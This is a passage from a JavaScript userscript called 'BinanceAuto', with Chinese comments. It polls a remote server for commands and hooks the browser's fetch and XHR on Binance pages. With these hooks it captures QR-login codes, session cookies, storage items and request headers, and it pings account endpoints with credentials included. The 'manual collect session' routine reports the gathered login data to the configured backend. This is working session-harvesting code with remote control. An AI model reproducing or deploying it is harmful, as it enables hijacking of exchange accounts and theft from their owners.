    log('已停止服务器指令轮询');
  }

  /** ---------- 菜单与UI ---------- */
  function promptUpdateBaseUrl() {
    const current = state.config.baseUrl || '';
    const input = prompt('请输入服务器基础地址（例如 https://api.example.com ）', current);
    if (input === null) return;
    saveConfig({ baseUrl: input.trim() });
  }

  function promptUpdateAuthToken() {
    const current = state.config.authToken || '';
    const input = prompt('请输入服务端鉴权 Token（可留空）', current);
    if (input === null) return;
    saveConfig({ authToken: input.trim() });
  }

  function promptUpdatePollInterval() {
    const current = state.config.pollIntervalMs;
    const input = prompt('请输入轮询间隔（毫秒，建议 >= 5000）', `${current}`);
    if (input === null) return;
    const value = parseInt(input, 10);
    if (Number.isNaN(value) || value < 1000) {
      alert('请输入不小于 1000 的数字');
      return;
    }
    saveConfig({ pollIntervalMs: value });
    if (state.polling) {
      stopPolling();
      startPolling();
    }
  }

  function toggleDebugLog() {
    saveConfig({ enableDebugLog: !state.config.enableDebugLog });
    alert(`调试日志已${state.config.enableDebugLog ? '开启' : '关闭'}`);
  }

  function debugShowCurrentQrCode() {
    const qrPayload = getLatestQrPayload();

    const infoLines = ['=== 二维码调试信息 ===', ''];

    if (qrPayload.qrCode) {
      infoLines.push('✅ 最近一次捕获:');
      infoLines.push(`- QR码: ${qrPayload.qrCode}`);
      infoLines.push(`- 原始码: ${qrPayload.originalQrCode || '无'}`);
      infoLines.push(`- 来源: ${qrPayload.source}`);
      infoLines.push(`- 时间: ${new Date(qrPayload.capturedAt).toLocaleString()}`);
    } else {
      infoLines.push('❌ 尚未捕获到二维码数据');
      infoLines.push('请尝试点击页面上的"二维码登录"按钮');
    }

    infoLines.push('');
    infoLines.push('页面信息:');
    infoLines.push(`- 当前URL: ${location.href}`);

    console.log(LOG_PREFIX, '二维码调试信息:', qrPayload);
    alert(infoLines.join('\n'));
  }

  function forceReactivateHooks() {
    console.log(LOG_PREFIX, '🔧 强制重新激活Hook');

    // 强制停用
    deactivateNetworkHooks();

    // 清理状态
    state.hookState.isActive = false;
    state.hookState.originalFetch = null;
    state.hookState.originalXHR = null;

    // 重新激活
    setTimeout(() => {
      activateNetworkHooks();
      alert('Hook已强制重新激活！\n状态：' + (state.hookState.isActive ? '激活' : '未激活'));
    }, 100);
  }

  function registerMenus() {
    if (typeof GM_unregisterMenuCommand === 'function') {
      state.menuIds.forEach((id) => GM_unregisterMenuCommand(id));
    }
    state.menuIds = [];

    if (typeof GM_registerMenuCommand !== 'function') return;
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 查看客户端 ID', () => {
      prompt('当前客户端 ID：', state.clientId);
    }));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 配置服务器地址', promptUpdateBaseUrl));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 配置鉴权 Token', promptUpdateAuthToken));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 配置轮询间隔', promptUpdatePollInterval));
    state.menuIds.push(GM_registerMenuCommand(state.polling ? 'BinanceAuto → 停止轮询' : 'BinanceAuto → 启动轮询', () => {
      if (state.polling) {
        stopPolling();
      } else {
        startPolling();
      }
    }));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 手动采集二维码', () => {
      manualCollectQr();
    }));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 手动采集登录信息', () => {
      manualCollectSession();
    }));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 调试查看当前二维码', () => {
      debugShowCurrentQrCode();
    }));
    state.menuIds.push(GM_registerMenuCommand('BinanceAuto → 强制重新激活Hook', () => {
      forceReactivateHooks();
    }));
    state.menuIds.push(GM_registerMenuCommand(state.config.enableDebugLog ? 'BinanceAuto → 关闭调试日志' : 'BinanceAuto → 开启调试日志', toggleDebugLog));
  }

  function manualCollectQr() {
    if (state.pendingCommand && !state.pendingCommand.manual) {
      const proceed = confirm('当前有正在执行的服务器指令，是否终止并启动手动采集？');
      if (!proceed) return;
      clearPendingCommand();
    }
    if (state.pendingCommand && state.pendingCommand.manual) {
      const proceed = confirm('已有手动采集流程，是否重新开始？');
      if (!proceed) return;
      clearPendingCommand();
    }

    // 🔥 手动采集也激活Hook
    activateNetworkHooks();

    savePendingCommand({
      id: `manual-${Date.now()}`,
      type: COMMAND_TYPES.requestQr,
      step: 'INIT',
      timeoutMs: 30000, // 手动采集给更长时间
      manual: true
    });

    // 手动采集完成后自动清理Hook
    setTimeout(() => {
      if (!state.pendingCommand || state.pendingCommand.manual) {
        deactivateNetworkHooks();
        log('手动二维码采集超时，自动停用网络Hook');
      }
    }, 35000); // 手动采集时间 + 5秒缓冲

    alert('已启动手动二维码采集 + 激活网络Hook。\n请按照以下步骤操作：\n1. 点击"二维码登录"\n2. 等待页面加载二维码\n3. 脚本会自动拦截API响应');
    if (!state.workflowProcessing) {
      state.workflowProcessing = true;
      Promise.resolve(processPendingWorkflow()).catch((error) => {
        log('手动二维码采集异常', error);
        alert(`手动二维码采集出错：${error.message || error}`);
        clearPendingCommand();
        deactivateNetworkHooks(); // 出错时也要清理Hook
      }).finally(() => {
        state.workflowProcessing = false;
      });
    }
  }

  function manualCollectSession() {
    try {
      // 🔥 手动Session采集也临时激活Hook
      activateNetworkHooks();

      console.log(LOG_PREFIX, '🔄 开始手动收集最新的登录认证信息...');

      // 主动触发认证接口获取最新token，然后上报
      const performSessionCapture = async () => {
        // 先收集当前数据
        let payload = getLatestCredentialPayload();

        // 主动触发一些关键接口
        try {
          const userInfoUrls = [
            'https://www.binance.com/bapi/accounts/v1/public/account/meta',
            'https://www.binance.com/bapi/accounts/v1/private/account/user-info',
            'https://www.binance.com/api/v3/account'
          ];

          for (const url of userInfoUrls) {
            try {
              console.log(LOG_PREFIX, '🌐 触发接口获取认证信息:', url);
              await fetch(url, {
                method: 'GET',
                credentials: 'include'
              }).catch(() => {});

              await new Promise(resolve => setTimeout(resolve, 300));
            } catch (e) {
              // 忽略失败
            }
          }

          // 等待Hook处理完成
          await new Promise(resolve => setTimeout(resolve, 1000));

          // 重新收集包含最新认证信息的数据
          payload = getLatestCredentialPayload();

          console.log(LOG_PREFIX, '📋 最终收集到的认证信息:', {
            cookiesCount: payload.cookies.length,
            storageItemsCount: payload.storageItems.length,
            headerUrlsCount: Object.keys(payload.headersByUrl).length
          });

        } catch (error) {
          console.log(LOG_PREFIX, '⚠️ 主动获取认证信息部分失败，使用已有数据:', error);
        }

        return payload;
      };

      performSessionCapture()
        .then((payload) => {
          console.log(LOG_PREFIX, '手动登录信息采集结果', payload);
          return sendManualResult(COMMAND_TYPES.requestSession, 'SUCCESS', payload);
        })
        .then(() => {
          alert('手动登录信息采集完成，后端已收到数据。');
        })
        .catch((error) => {
          log('手动登录信息上报失败', error);
          alert(`手动登录信息上报失败：${error.message || error}`);
        })
        .finally(() => {
          // 5秒后停用Hook (给更多时间完成认证信息收集)
          setTimeout(() => {
            deactivateNetworkHooks();
            log('手动Session采集完成，自动停用网络Hook');
          }, 5000);
        });
    } catch (error) {
      alert(`手动登录信息采集失败：${error.message}`);
      deactivateNetworkHooks(); // 出错时也要清理Hook
    }
  }

  function initUiButtons() {
    const button = document.createElement('button');
    button.textContent = 'BinanceAuto 状态';
    Object.assign(button.style, {
      position: 'fixed',
      right: '20px',
      bottom: '20px',
      zIndex: 9999,
      padding: '10px 16px',
      fontSize: '14px',
      borderRadius: '6px',
      border: 'none',
      color: '#fff',
      background: state.polling ? '#28a745' : '#f0b90b',
      cursor: 'pointer',
      boxShadow: '0 2px 8px rgba(0,0,0,0.2)'
    });
    button.addEventListener('click', () => {
      const lines = [
        `客户端 ID: ${state.clientId}`,
        `轮询状态: ${state.polling ? '进行中' : '未启动'}`,
        `服务器地址: ${state.config.baseUrl || '(未配置)'}`,
        `最后二维码: ${state.qrData.qrCode || '无'}`,
        `捕获时间: ${state.qrData.capturedAt ? new Date(state.qrData.capturedAt).toLocaleString() : '无'}`,
        `最后凭证更新: ${state.credentialData.lastCookies ? new Date().toLocaleString() : '无'}`
      ];
      alert(lines.join('\n'));
    });
    document.documentElement.appendChild(button);

    const updateButtonColor = () => {
      button.style.background = state.polling ? '#28a745' : '#f0b90b';
    };

    // 包装启动和停止函数以更新按钮颜色
    const originalStart = startPolling;
    const originalStop = stopPolling;
    window.startPolling = function wrappedStart() {
      originalStart();
      updateButtonColor();
    };
    window.stopPolling = function wrappedStop() {
      originalStop();
      updateButtonColor();
    };
  }

  /** ---------- 初始化 ---------- */
  function init() {
    log('脚本初始化', { clientId: state.clientId, config: state.config });
    installNetworkHooks();
    registerMenus();
    initUiButtons();
    if (state.pendingCommand) {
      log('检测到挂起指令，继续执行', state.pendingCommand);
      ensureWorkflowTimer();
      if (!state.workflowProcessing) {
        state.workflowProcessing = true;
        Promise.resolve(processPendingWorkflow()).catch((error) => {
          log('恢复挂起指令异常', error);
        }).finally(() => {
          state.workflowProcessing = false;
        });
      }
    }
    if (state.config.baseUrl) {
      startPolling();
    }
  }

  // 启动脚本
  if (document.readyState === 'loading') {
    window.addEventListener('DOMContentLoaded', init);
  } else {
    init();
  }

})();
